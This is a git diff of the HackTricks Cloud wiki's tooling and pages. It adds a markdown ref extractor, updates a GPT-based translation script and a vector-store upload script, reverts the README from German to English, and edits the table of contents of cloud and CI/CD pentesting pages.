@@ -0,0 +1,38 @@
#!/usr/bin/env python3
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def main():
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
refs = extract_refs(content)
refs_per_path[rel] = refs # keep order from findall
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
if __name__ == "__main__":
main()

View File

@@ -12,15 +12,25 @@ from tqdm import tqdm #pip3 install tqdm
import traceback
MASTER_BRANCH = "master"
VERBOSE = True
MAX_TOKENS = 10000 #gpt-4-1106-preview
MAX_TOKENS = 50000 #gpt-4-1106-preview
DISALLOWED_SPECIAL = "<|endoftext|>"
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
def _sanitize(text: str) -> str:
"""
Replace the reserved tiktoken token with a harmless placeholder.
Called everywhere a string can flow into tiktoken.encode() or the
OpenAI client.
"""
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
def reportTokens(prompt, model):
encoding = tiktoken.encoding_for_model(model)
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
prompt = _sanitize(prompt)
return len(encoding.encode(prompt))
@@ -36,35 +46,37 @@ def get_branch_files(branch):
files = result.stdout.decode().splitlines()
return set(files)
def delete_unique_files(branch):
def get_unused_files(branch):
"""Delete files that are unique to branch2."""
# Get the files in each branch
files_branch1 = get_branch_files(MASTER_BRANCH)
files_branch2 = get_branch_files(branch)
files_branch_master = get_branch_files(MASTER_BRANCH)
files_branch_lang = get_branch_files(branch)
# Find the files that are in branch2 but not in branch1
unique_files = files_branch2 - files_branch1
unique_files = files_branch_lang - files_branch_master
if unique_files:
# Switch to the second branch
subprocess.run(["git", "checkout", branch])
# Delete the unique files from the second branch
for file in unique_files:
subprocess.run(["git", "rm", file])
subprocess.run(["git", "checkout", MASTER_BRANCH])
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
return unique_files
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
"""
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
Also remove all the files that are not in the master branch.
"""
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
# If branch doesn't exist, create it
if branch_exists.returncode != 0:
subprocess.run(['git', 'checkout', '-b', branch])
else:
subprocess.run(['git', 'checkout', branch])
# Get files to delete
files_to_delete = get_unused_files(branch)
# Delete files
for file in files_to_delete:
os.remove(file)
print(f"[+] Deleted {file}")
# Walk through source directory
for dirpath, dirnames, filenames in os.walk(temp_folder):
@@ -79,32 +91,72 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
for file_name in filenames:
src_file = os.path.join(dirpath, file_name)
shutil.copy2(src_file, dest_path)
print(f"Translated files copied to branch: {branch}")
if not "/images/" in src_file and not "/theme/" in src_file:
print(f"[+] Copied from {src_file} to {file_name}")
if translate_files:
subprocess.run(['git', 'add', "-A"])
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
subprocess.run(['git', 'checkout', MASTER_BRANCH])
print("Commit created and moved to master branch")
commit_and_push(translate_files, branch)
else:
print("No commiting anything, leaving in language branch")
def commit_and_push(translate_files, branch):
# Define the commands we want to run
commands = [
['git', 'add', '-A'],
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
['git', 'push', '--set-upstream', 'origin', branch],
]
for cmd in commands:
result = subprocess.run(cmd, capture_output=True, text=True)
# Print stdout and stderr (if any)
if result.stdout:
print(f"STDOUT for {cmd}:\n{result.stdout}")
if "nothing to commit" in result.stdout.lower():
print("Nothing to commit, leaving")
exit(0)
if result.stderr:
print(f"STDERR for {cmd}:\n{result.stderr}")
# Check for errors
if result.returncode != 0:
raise RuntimeError(
f"Command `{cmd}` failed with exit code {result.returncode}"
)
print("Commit created and pushed")
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
if not text:
return text
messages = [
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
- Don't translate or modify tags, links, refs and paths like in:
- {{#tabs}}
- {{#tab name="Method1"}}
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
- {{#include ./banners/hacktricks-training.md}}
- {{#ref}}macos-tcc-bypasses/{{#endref}}
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
- Don't translate any other tag, just return markdown and html content as is.
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
{"role": "user", "content": text},
]
try:
response = client.chat.completions.create(
model=model,
messages=messages,
temperature=0
temperature=1 # 1 because gpt-5 doesn't support other
)
except Exception as e:
print("Python Exception: " + str(e))
@@ -149,6 +201,9 @@ def translate_text(language, text, file_path, model, cont=0, slpitted=False, cli
return translate_text(language, text, file_path, model, cont, False, client)
response_message = response.choices[0].message.content.strip()
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
response_message = response_message.replace("Bypassy", "Bypasses")
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
cont2 = 0
@@ -170,9 +225,11 @@ def split_text(text, model):
chunks = []
chunk = ''
in_code_block = False
in_ref = False
for line in lines:
# If we are in a code block, just add the code to the chunk
# Keep code blocks as one chunk
if line.startswith('```'):
# If we are in a code block, finish it with the "```"
@@ -188,8 +245,24 @@ def split_text(text, model):
chunk += line + '\n'
continue
"""
Prevent refs using `` like:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
{{#endref}}
"""
if line.startswith('{{#ref}}'):
in_ref = True
if in_ref:
line = line.replace("`", "")
if line.startswith('{{#endref}}'):
in_ref = False
# If new section, see if we should be splitting the text
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
@@ -202,23 +275,30 @@ def split_text(text, model):
return chunks
def copy_gitbook_dir(source_path, dest_path):
folder_name = ".gitbook/"
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the .gitbook folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
def copy_dirs(source_path, dest_path, folder_names):
for folder_name in folder_names:
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the theme folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
def copy_summary(source_path, dest_path):
file_name = "src/SUMMARY.md"
source_filepath = os.path.join(source_path, file_name)
dest_filepath = os.path.join(dest_path, file_name)
shutil.copy2(source_filepath, dest_filepath)
print("[+] Copied SUMMARY.md")
def move_files_to_push(source_path, dest_path, relative_file_paths):
for file_path in relative_file_paths:
source_filepath = os.path.join(source_path, file_path)
dest_filepath = os.path.join(dest_path, file_path)
if not os.path.exists(source_filepath):
print(f"Error: {source_filepath} does not exist.")
else:
shutil.copy2(source_filepath, dest_filepath)
print(f"[+] Copied {file_path}")
def copy_files(source_path, dest_path):
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
move_files_to_push(source_path, dest_path, file_names)
def translate_file(language, file_path, file_dest_path, model, client):
global VERBOSE
@@ -234,7 +314,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
translated_content = ''
start_time = time.time()
for chunk in content_chunks:
# Don't trasnlate code blocks
# Don't translate code blocks
if chunk.startswith('```'):
translated_content += chunk + '\n'
else:
@@ -248,9 +328,10 @@ def translate_file(language, file_path, file_dest_path, model, client):
f.write(translated_content)
#if VERBOSE:
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
"""
def translate_directory(language, source_path, dest_path, model, num_threads, client):
all_markdown_files = []
for subdir, dirs, files in os.walk(source_path):
@@ -280,17 +361,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
tb = traceback.format_exc()
print(f'Translation generated an exception: {exc}')
print("Traceback:", tb)
"""
if __name__ == "__main__":
print("- Version 1.1.1")
print("- Version 2.0.0")
# Set up argparse
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
@@ -345,7 +426,7 @@ if __name__ == "__main__":
translate_files = None # Need to initialize it here to avoid error
if args.file_paths:
# Translate only the indicated file
translate_files = [f for f in args.file_paths.split(' , ') if f]
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
for file_path in translate_files:
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
@@ -359,23 +440,21 @@ if __name__ == "__main__":
#pbar.update()
except Exception as exc:
print(f'Translation generated an exception: {exc}')
# Delete possibly removed files from the master branch
delete_unique_files(branch)
elif args.directory:
#elif args.directory:
# Translate everything
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
else:
print("You need to indicate either a directory or a list of files to translate.")
exit(1)
exit(0)
# Copy summary
copy_summary(source_folder, dest_folder)
# Copy Summary
copy_files(source_folder, dest_folder)
# Copy .gitbook folder
copy_gitbook_dir(source_folder, dest_folder)
folder_names = ["theme/", "src/images/"]
copy_dirs(source_folder, dest_folder, folder_names)
# Create the branch and copy the translated files
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)

297
scripts/upload_ht_to_ai.py Normal file
View File

@@ -0,0 +1,297 @@
import os
import requests
import zipfile
import tempfile
import time
import glob
import re
from openai import OpenAI
# Initialize OpenAI client
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
# Vector Store ID
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
# --------------------------------------------------
# Step 1: Download and Extract Markdown Files
# --------------------------------------------------
def download_zip(url, save_path):
print(f"Downloading zip from: {url}")
response = requests.get(url)
response.raise_for_status() # Ensure the download succeeded
with open(save_path, "wb") as f:
f.write(response.content)
print(f"Downloaded zip from: {url}")
def extract_markdown_files(zip_path, extract_dir):
print(f"Extracting zip: {zip_path} to {extract_dir}")
with zipfile.ZipFile(zip_path, "r") as zip_ref:
zip_ref.extractall(extract_dir)
# Recursively find all .md files
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
return md_files
# Repository URLs
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
# Temporary directory for downloads and extraction
temp_dir = tempfile.mkdtemp()
try:
# Download zip archives
print("Downloading Hacktricks repositories...")
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
download_zip(hacktricks_url, hacktricks_zip)
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
# Extract the markdown files
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
print(f"Found {len(all_md_files)} markdown files.")
finally:
# Optional cleanup of temporary files after processing
# shutil.rmtree(temp_dir)
pass
# --------------------------------------------------
# Step 2: Remove All Existing Files in the Vector Store
# --------------------------------------------------
# List current files in the vector store and delete each one.
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
for file_obj in existing_files:
# Delete the underlying file object; this removes it from the vector store.
try:
client.files.delete(file_id=file_obj.id)
print(f"Deleted file: {file_obj.id}")
time.sleep(1) # Give it a moment to ensure the deletion is processed
except Exception as e:
# Handle potential errors during deletion
print(f"Error deleting file {file_obj.id}: {e}")
# ----------------------------------------------------
# Step 3: Clean markdown Files
# ----------------------------------------------------
# Clean markdown files and marge them so it's easier to
# uplaod to the vector store.
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
break
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"### Start file: {file_name} ###\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
# Specify the starting folder and output file
start_folder = os.getcwd()
# Keywords to exclude from lines
exclude_keywords = [
"hacktricks-training.md",
"![](<", # Skip lines with images
"/images/" # Skip lines with images
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
ht_file = os.path.join(tempfile.gettempdir(), "hacktricks.md")
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
print(f"Merged content has been saved to: {ht_file}")
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
print(f"Merged content has been saved to: {htc_file}")
# ----------------------------------------------------
# Step 4: Upload All Markdown Files to the Vector Store
# ----------------------------------------------------
# Upload two files to the vector store.
# Uploading .md hacktricks files individually can be slow,
# so thats why we merged it before into just 2 files.
file_streams = []
ht_stream = open(ht_file, "rb")
file_streams.append(ht_stream)
htc_stream = open(htc_file, "rb")
file_streams.append(htc_stream)
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
time.sleep(60) # Sleep for a minute to ensure the upload is processed
ht_stream.close()
htc_stream.close()
""""This was to upload each .md independently, wich turned out to be a nightmare
# Ensure we don't exceed the maximum number of file streams
for file_path in all_md_files:
# Check if we have reached the maximum number of streams
if len(file_streams) >= 300:
print("Reached maximum number of file streams (300). Uploading current batch...")
# Upload the current batch before adding more files
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
# Clear the list for the next batch
file_streams = []
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
try:
stream = open(file_path, "rb")
file_streams.append(stream)
except Exception as e:
print(f"Error opening {file_path}: {e}")
if file_streams:
# Upload files and poll for completion
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
else:
print("No markdown files to upload.")"
# Close all file streams
for stream in file_streams:
stream.close()
"""

1
searchindex.js Normal file

File diff suppressed because one or more lines are too long

View File

@@ -4,9 +4,10 @@
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks-Logos & Motion entworfen von_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Run HackTricks Cloud Locally
### HackTricks Cloud lokal ausführen
```bash
# Download latest version of hacktricks cloud
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
@@ -33,23 +34,24 @@ export LANG="master" # Leave master for English
# Run the docker container indicating the path to the hacktricks-cloud folder
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Ihre lokale Kopie von HackTricks Cloud wird **nach etwa einer Minute unter [http://localhost:3377](http://localhost:3377) verfügbar sein.**
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
### **Pentesting CI/CD Methodology**
**In der HackTricks CI/CD Methodology erfährst du, wie man Infrastruktur im Zusammenhang mit CI/CD-Aktivitäten pentestet.** Lies die folgende Seite für eine **Einführung:**
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
**In der HackTricks Cloud Methodology erfährst du, wie man Cloud-Umgebungen pentestet.** Lies die folgende Seite für eine **Einführung:**
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### Lizenz & Disclaimer
### License & Disclaimer
**Sieh sie dir an unter:**
**Check them in:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
@@ -58,3 +60,4 @@ Ihre lokale Kopie von HackTricks Cloud wird **nach etwa einer Minute unter [http
![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

View File

@@ -9,7 +9,6 @@
# 🏭 Pentesting CI/CD
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
- [Github Security](pentesting-ci-cd/github-security/README.md)
@@ -42,7 +41,6 @@
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
@@ -57,7 +55,6 @@
# ⛈️ Pentesting Cloud
- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
@@ -87,7 +84,6 @@
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
@@ -102,6 +98,7 @@
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
@@ -110,7 +107,6 @@
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
@@ -125,7 +121,6 @@
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
@@ -134,7 +129,6 @@
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
@@ -144,7 +138,6 @@
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
- [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
- [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
